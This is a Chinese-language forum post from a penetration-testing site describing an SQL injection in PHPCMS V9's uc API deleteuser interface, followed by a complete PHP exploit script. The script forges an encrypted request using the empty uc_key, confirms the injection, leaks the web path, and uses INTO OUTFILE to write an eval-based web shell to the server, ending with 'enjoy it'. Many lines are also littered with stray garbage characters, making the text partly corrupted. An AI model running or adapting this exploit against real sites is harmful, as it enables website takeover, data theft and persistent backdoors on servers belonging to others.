中国网络渗透测试联盟

标题: PHPCMS V9 uc API SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-9 01:22
标题: PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。" b( q4 F% `% N

' ?8 H; N1 s6 T0 f( ?2 \所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。: N6 H6 d  s7 i( W( C9 \' ^- q

8 z  |$ G  Q4 p/ u漏洞分析:- |3 x# T) S: N, y$ Q
1.未启用ucenter服务的情况下uc_key为空
2 I* s& ^9 s8 ~6 Zdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
# g  ?( J( D7 \  m3 Q4 i2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。/ M8 V$ X# R. I3 {$ n6 N
    public function deleteuser($get,$post) {  Q+ a4 b/ C% Q4 ^
        pc_base::load_app_func('global', 'admin');
9 P( P; ^. T( D  [5 u: @/ A        pc_base::load_app_class('messagequeue', 'admin' , 0);0 h! s' ~1 Y. U- _  r0 F/ }, ?
        $ids = new_stripslashes($get['ids']);
6 _- k% p: }$ D        $s = $this->member_db->select("ucuserid in ($ids)", "uid");1 E1 y$ f& H% |8 G
SQL语句为, k# R/ V9 E& B  K0 Y
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)2 }6 i2 F( `; O: _

' ?- g4 }3 e0 e/ @0 l; Z利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell. ^) I; W, }2 |: U1 L8 U5 m
<?php( t4 w. O* L- W7 F
print_r('% \9 L8 H" e. @; W- V) y( g  o/ l
---------------------------------------------------------------------------. D: E2 Z$ M( [( p1 R3 z3 e. v
PHPcms (v9 or Old Version) uc api sql injection 0day- U" r5 o8 p: _, q& ]! G, p9 V
by rayh4c#80sec.com- g' k( a8 |5 [8 u' A- Q* {
---------------------------------------------------------------------------
5 H, n) |; a4 E4 {( @6 |');. l, R' y8 `4 [! S. A' H6 h
7 E, {3 d2 L/ Z5 l
if ($argc<3) {- C/ _# {% @" @# Q  S% `1 A
    print_r('
  a+ a0 R+ I; e7 _---------------------------------------------------------------------------
+ l5 v. Y" y% X& ?" P, p& m9 iUsage: php '.$argv[0].' host path OPTIONS) m* {1 A; t& b+ m; \$ Z% B
host:      target server (ip/hostname)
2 ^; |& e" j( |0 mpath:      path to phpcms
/ r1 O  Y# m7 X7 m8 N8 |Options:! h4 ]) {2 ^) l0 c/ u& m
-p[port]:    specify a port other than 80# e- z8 w' \1 k) D0 g$ z- m
-P[ip:port]: specify a proxy# J; i# x3 x% H- u% t* Q% ~5 e1 O
Example:
+ {% \" g. y" d8 R: x( wphp '.$argv[0].' localhost /
& c2 c' |1 }) X5 O. b& b+ |php '.$argv[0].' localhost /phpcms/ -p817 H6 p( h* N3 x8 V  `. c
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
, F- d+ l# s& j4 I---------------------------------------------------------------------------
2 ~- X3 Z  }7 g');
, r/ _" _% ?+ T! f, ^2 Z    die;
( R; e+ y0 X1 H8 S0 y}* [" D1 I9 N% w

- U& |% k  W5 z" Verror_reporting(7);1 ^2 m  @% j! H; L* l- E
ini_set("max_execution_time",0);/ I* C. o- w2 Y' }; y
ini_set("default_socket_timeout",5);
$ Y2 `' h# l2 V0 h; G8 D3 ^6 f4 H
2 a- H9 ]3 H6 L# Nfunction quick_dump($string)
+ |$ E# N3 M+ D- R( f8 x3 g{
' L. ~1 N4 D- `' p; W: q  $result='';$exa='';$cont=0;! F$ r# [2 ~- N5 ~
  for ($i=0; $i<=strlen($string)-1; $i++)
+ X; D+ b6 e- ~' F: b' h8 p6 p  {* o4 A! o9 U# ~& j  D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
2 ?! ~2 @1 Y' Y8 x- s+ J- K   {$result.="  .";}
: E7 v' ^6 t; A% o7 Q: W7 A0 D   else3 t" W$ _' M- @* p7 R" I; z
   {$result.="  ".$string[$i];}
' O% y8 `& V, R1 ^9 o   if (strlen(dechex(ord($string[$i])))==2)6 v2 G- k4 q' U/ v) X
   {$exa.=" ".dechex(ord($string[$i]));}
( X; ?: U. g% }! G   else
2 f" v7 A: x3 H" S$ M8 T0 ~- ]   {$exa.=" 0".dechex(ord($string[$i]));}! d' x! `. z2 Z2 F: P7 w* S
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}- I- V, L8 \$ Z. g+ n
  }. M) \! R+ K& L7 i5 S; D3 Q% l6 r
return $exa."\r\n".$result;0 M* H( c" S  S
}
7 @, c( {- ~) H9 J7 m/ w2 |; v* l$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';6 T5 r, T9 \1 g+ {1 M; Z: o

8 G2 ]' N( e, Ufunction send($packet)0 C5 m! @8 v  B1 g" H$ R8 _
{
& a$ C: Z4 X$ H5 G+ }+ V$ m  global $proxy, $host, $port, $html, $proxy_regex;
$ b) ^8 b  t% {  if ($proxy=='') {
& i" P* Z6 U+ w, e* V    $ock=fsockopen(gethostbyname($host),$port);
$ x6 B, H- i0 h# n3 l3 c- d    if (!$ock) {
6 i2 j  U7 _/ C( C5 n' R      echo 'No response from '.$host.':'.$port; die;
4 l  R3 N4 h0 a3 F    }; j. l# ^+ W' p) q/ Z, h# x8 X
  }/ u1 `! p  z0 d9 K. i4 v
  else {
: j; }/ K2 y5 |0 m( w        $c = preg_match($proxy_regex,$proxy);
) K5 h0 C0 w3 r) l, w6 g. Z. r    if (!$c) {& ~7 Q, A! p1 D1 A+ ^( Z8 z
      echo 'Not a valid proxy...';die;
5 F) i; v  ?5 |- b( y    }$ r6 F6 G: C) R/ Z# i* s
    $parts=explode(':',$proxy);
  q6 P0 x% J# F# `    $parts[1]=(int)$parts[1];
0 u( U# g7 }5 E4 h5 X    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
/ ~; U5 y0 m7 p* h, ^. c# W6 f/ r    $ock=fsockopen($parts[0],$parts[1]);
% H/ F! n2 {, o; F1 s% F    if (!$ock) {% Z+ \9 ^; s( t( ?
      echo 'No response from proxy...';die;4 m; c3 [7 z( K% R$ ?& @2 m
        }
6 h9 {: k" J4 V  }
4 ^7 e  @% i4 v2 T7 C% t: V  fputs($ock,$packet);8 m9 h; \1 [5 @) `5 E% [& y. ?
  if ($proxy=='') {. o+ U2 [5 k1 D
    $html='';
" v- v7 M% u# K- ^' y    while (!feof($ock)) {8 C% }+ i8 R# X
      $html.=fgets($ock);& d( J4 P, ^6 }8 E
    }) f2 O6 L% e& O; X5 V* r- @, H5 R
  }
) p: f; Q, p' t: g% r  r  else {
- R; I  s' s) D' `    $html='';
; Q# `. T- e  [" a# L    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
, j9 J, |/ @; |- I) I3 I0 _2 q! M. v# w      $html.=fread($ock,1);$ J2 i  Z7 u! E' m8 h& ~
    }
3 ~% Y' }6 e: \9 A  }
6 u& H' E+ I3 t  A) m' ^# x+ o/ p  fclose($ock);
: t7 L8 M& o4 i& ~3 ?# B}1 Q# _8 F( _: w$ g: x/ w3 {

  I  F& O. o8 W6 e4 v: n$host=$argv[1];
" D4 }. \8 \, _! F$path=$argv[2];
: e1 L$ j( G2 w* g8 K  K$port=80;) }) |$ E+ _8 j9 F
$proxy="";
: k: D' ]* t+ _for ($i=3; $i<$argc; $i++){  L) m2 A$ r- y- L* w" m5 X& y" H& M
$temp=$argv[$i][0].$argv[$i][1];$ g  c! O" i6 f# ]; }( R
if ($temp=="-p")
+ r) s7 x( H6 @& r{
% [0 r. j5 F) \2 B9 |: y8 Y  $port=(int)str_replace("-p","",$argv[$i]);! Q0 k4 ]' \. s
}
, Z8 Z" F6 k  S* H# _if ($temp=="-P")
" }3 S' `+ m5 e; ^" C* s7 X& X5 _{' E, h; |3 V/ ]& X9 M
  $proxy=str_replace("-P","",$argv[$i]);$ z% J0 c' ~' H' j* M1 B
}) K' v4 F, n6 U6 V, b& e
}
7 W! m* @' |* s' h. ~6 A5 R5 R4 F, r0 D1 ?  R3 L* n
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
* L+ m+ U5 R# ]if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}& P# `: X4 x6 C9 V4 S
$ S  J" o% n$ g2 L3 d! i
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {0 f3 B8 H: G# g' n$ @' \0 m: L
+ V9 j3 q' y. k# k4 c( h; F
    $ckey_length = 4;
7 A# s3 B# V  _1 k
! g, L4 u2 U# L    $key = md5($key ? $key : '');$ V4 _! ]) S3 Q5 |$ ^+ G& r/ X6 V9 L
    $keya = md5(substr($key, 0, 16));
. H) l! t& i* J! B+ R    $keyb = md5(substr($key, 16, 16));& c. c# n5 e3 u9 F, [
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';( E1 f! h2 B) e( u9 t" A7 s! a
1 ?+ }9 L1 m& X! D! ?- y. T) o8 D6 ?+ {
    $cryptkey = $keya.md5($keya.$keyc);. ^; u7 C7 j% B; P. g. b* ~& y
    $key_length = strlen($cryptkey);
' H4 w$ }% W+ L; o) j3 u) M7 T2 S! R+ t/ t
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
8 P0 E5 W% `* D9 o/ E) Y    $string_length = strlen($string);3 I! g7 E8 {* _. e/ G' t
$ ^; k& J6 b3 F9 ^% i; ?' R- i- @
    $result = '';5 h, J+ g7 h8 O9 T% F: B
    $box = range(0, 255);
' [9 P5 S8 Y2 W7 p8 T0 S6 g, N+ |  k
    $rndkey = array();- A# j( u" }  ?, T/ I# \; Z
    for($i = 0; $i <= 255; $i++) {
6 }6 d& \4 E. z) b3 R        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
1 T: S" V/ u$ P4 I    }
4 {- q8 R3 s1 w# E+ g  ?0 }' j. I& K4 r% M# ]
    for($j = $i = 0; $i < 256; $i++) {! a; d$ E7 }' O
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;# Y6 n7 o' g5 x+ i- i3 G6 _8 D
        $tmp = $box[$i];
  J; V6 B3 j7 M. L: S" D- ?        $box[$i] = $box[$j];
6 W# d' D1 h4 `3 T7 m1 U1 H+ G1 _        $box[$j] = $tmp;/ N0 }# ]& c/ Q* H% ^6 ?. G
    }) f3 `7 a& P8 L+ _, c. D) ~

8 C: R. @6 F" G# ~6 [) J    for($a = $j = $i = 0; $i < $string_length; $i++) {+ {* ~/ E. ^/ l" `7 ]7 k( d6 ~4 w* t
        $a = ($a + 1) % 256;
) W  s8 l7 a, d8 z        $j = ($j + $box[$a]) % 256;) F/ i5 B  d; ]5 @0 c2 Q5 E1 L
        $tmp = $box[$a];3 J  g- X) O; a' b4 f
        $box[$a] = $box[$j];/ y( c3 C4 {+ q
        $box[$j] = $tmp;1 j- H' Z  p3 D2 H+ z, r) b: B
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));. ~  F7 \, H3 J! k
    }1 o& n1 y$ z8 g/ q

9 D9 I7 s; v' L4 q% W5 |( e3 y    if($operation == 'DECODE') {4 {# z9 r; W3 N2 k
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {1 }# f, P2 h* W% C' D9 D
            return substr($result, 26);2 y' a: R- Y; w, J
        } else {
, ?6 F( K& j2 j5 r! A$ n5 P            return '';
' j- }& D( B; r+ p        }. r, Y* B  n0 Z" W8 C0 F; R
    } else {
8 n2 L; d. I2 k0 V- o- L. U6 D1 I- `        return $keyc.str_replace('=', '', base64_encode($result));: O0 p$ V6 ?- a" s/ P  U' X
    }
4 `4 ]& G/ A6 l# ^$ F8 A# ]( m" A* q, V; L7 N0 n, {* C0 @
}0 j4 L5 V; r8 q
( o* Q$ X+ d% t0 i1 S5 b  ~
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
( N" F  t6 P# [' Z4 p$SQL = urlencode(authcode($SQL, "ENCODE", ""));
; s5 C* g! w- f: Z, s1 c( ]echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
3 h6 f+ I1 u1 `: m9 K$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";2 D7 a* }+ v$ c4 A0 k
$packet.="User-Agent: Mozilla/5.0\r\n";: p! c2 ]% @2 h' b' H4 ~$ w9 ^( v- i
$packet.="Host: ".$host."\r\n";
7 U1 m7 i6 Q1 F( H$packet.="Connection: Close\r\n\r\n";
* p- v. y: [$ F/ I. k0 k* msend($packet);
3 Y/ W% l4 K) V; _) K" U2 x, f, p5 vif(strpos($html,"MySQL Errno") > 0){1 G' D3 U0 b7 y6 Z
echo "[2] 发现存在SQL注入漏洞"."\n";
  e$ A1 [" g# N  F5 yecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
" B8 F6 s2 q4 E- |! @0 h/ `$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
- {: c/ v* y) R; I! W% e2 Q1 D1 X$packet.="User-Agent: Mozilla/5.0\r\n";
6 T% W# O, d6 z; B' c% S/ V$packet.="Host: ".$host."\r\n";
5 E9 O0 w5 ~% {  Q$ U$packet.="Connection: Close\r\n\r\n";1 ~, I# z( G) H; x$ O% [1 _
send($packet);
' P$ N3 b  r4 t  O1 Z7 `% d  Bpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
" s2 \& |* ?2 e//print_r($matches);$ z, q7 s( K% i3 H& O
if(!empty($matches)){
4 p2 h% h: j4 i! h  Z/ Techo "[4] 得到web路径 " . $matches[0]."\n";* i& P) N$ x# ~' O5 |9 |1 b
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";! P8 C6 u* n, j4 O2 ?
$SQL = "time=999999999999999999999999&ids=1)";
& ~' r( O% n2 R3 Y6 Y$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
( t0 l/ k' u' K4 f/ D$SQL.="&action=deleteuser";
1 H' E. m  e6 J  X! e$ u$SQL = urlencode(authcode($SQL, "ENCODE", ""));
3 [+ @. T1 N% Y2 l* Y! _echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";# `6 q( g1 S! r6 [
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
" _/ e8 G% H" g( @9 j$packet.="User-Agent: Mozilla/5.0\r\n";" h: x# e; _/ w
$packet.="Host: ".$host."\r\n";
3 ^1 W; \& J# e1 k( L) V$packet.="Connection: Close\r\n\r\n";4 a, U: s, s6 N# J
send($packet);; h* L: b) \5 L, a
if(strpos($html,"Access denied") > 0){' W' J  I7 h0 K+ B) O
echo "[-] MYSQL权限过低 禁止写入文件 ";. ]" |* M6 Y% Y
die;2 ~5 X# v2 _0 Z6 }
}- Q, L$ X8 F" ?# [; F
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
# _* N4 v4 c! E2 v5 g7 F$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";* }+ P& X, J. V% P
$packet.="User-Agent: Mozilla/5.0\r\n";
6 m3 v- r! V& q& f9 p' d& b! z$packet.="Host: ".$host."\r\n";% e- w/ C/ u) m3 k/ [
$packet.="Connection: Close\r\n\r\n";
% N5 P6 ], i2 tsend($packet);1 s  @5 x! H/ U. Y  }- f) s8 W  y7 g
if(strpos($html,"<title>phpinfo()</title>") > 0){6 S9 w9 H6 L* Q; ]
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
& P: [/ ?2 ?% q) @1 M' \  J# b" @}
6 [9 {4 O7 N3 U  G* f" P* f}else{
. s* Q) T0 L, v" c& i& Mecho "[-]未取到web路径 ";
, ~% o1 P$ ]1 X}
# @9 x: J: @) ]# c}else{) T6 Q9 H: A6 K6 u! A
echo "[*]不存在SQL注入漏洞"."\n";; O' `, U& u/ K
}  Y- R4 ?3 x9 }4 i! d6 E
1 v  |# q% Q# J5 z4 W% ^7 g) I$ E
?>
4 g# M; ]" n  K( b5 Y




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2